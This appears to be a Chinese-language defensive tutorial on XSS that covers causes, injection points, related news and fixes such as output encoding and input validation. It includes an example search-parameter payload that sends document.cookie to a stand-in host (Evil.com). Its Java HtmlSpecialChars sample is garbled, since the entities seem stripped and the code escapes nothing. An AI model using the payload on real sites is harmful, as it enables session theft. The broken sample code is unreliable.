Cross-Site Scripting(XSS)攻擊
常見的弱點 Cross-Site Scripting 也稱 XSS。
弱點描述
資料從不可信賴的來源進入後端網頁程式,
而程式再傳送未經驗證的資料到網路瀏覽器中,
導致瀏覽器執行惡意的程式碼。
而程式再傳送未經驗證的資料到網路瀏覽器中,
導致瀏覽器執行惡意的程式碼。
- 搜尋列
- 網址列
- 留言版
- 任何使用者有機會可以竄改的位置…
核心原因
傳送未經驗證的資料到網路瀏覽器,導致瀏覽器執行惡意程式碼。
弱點應用
客製惡意編碼
https://URL/results.aspx?search=location.replace("http://www.Evil.com/getcookie.asp?
k= " +document.cookie)
https://URL/results.aspx?search=location.replace("http://www.Evil.com/getcookie.asp?
k= " +document.cookie)
相關新聞
重磅:利用麥當勞網站的漏洞獲取使用者密碼 https://www.itread01.com/p/1386721.html
修改建議
確保內容在正確位置進行驗證,並檢查屬性是否正確。
- 內容驗證
作為通用原則,永遠不要相信來自使用者的輸入。
每個GET、POST和cookie值都可以是任何值,因此應該進行驗證。
輸出任何這些值時,請將它們轉譯,避免被竄改。
可以參考報告中提供的正規化函數:htmlspecialchars() - 輸出編碼(Output encoding)
限制或轉換輸入內容
將輸出的內容轉為 HTML Entities
框架:
- Microsoft Anti-Cross Site Scripting Library
- JAVA: DeXSS -- Java program for removing JavaScript from HTML
函數:
- Server.HTMLencode()
- htmlentities()
- 來源過濾 (Input validation)
白名單:限制長度及合法字元
黑名單:避免一開始使用黑名單,可能有漏網之魚
資料消毒:移除非法字元 - Sample Code
針對特殊字元編碼
public static String HtmlSpecialChars(String source) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < source.length(); i++) {
char c = source.charAt(i);
switch (c) {
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '"':
sb.append(“"”);
break;
…
default:
sb.append(c);
}
參考資訊
How To: Prevent Cross-Site Scripting in ASP.NET (http://msdn2.microsoft.com/en-us/library/ms998274.aspx)
Step 1. Check that ASP.NET request validation is enabled.
Step 2. Review ASP.NET code that generates HTML output.
Step 3. Determine whether HTML output includes input parameters.
Step 4. Review potentially dangerous HTML tags and attributes.
Step 5. Evaluate countermeasures.
Filter user input.
Encode HTML output. (HttpUtility.HtmlEncode)
Encode URL output. (HttpUtility.UrlEncode)
Step 2. Review ASP.NET code that generates HTML output.
Step 3. Determine whether HTML output includes input parameters.
Step 4. Review potentially dangerous HTML tags and attributes.
Step 5. Evaluate countermeasures.
Filter user input.
Encode HTML output. (HttpUtility.HtmlEncode)
Encode URL output. (HttpUtility.UrlEncode)
留言
張貼留言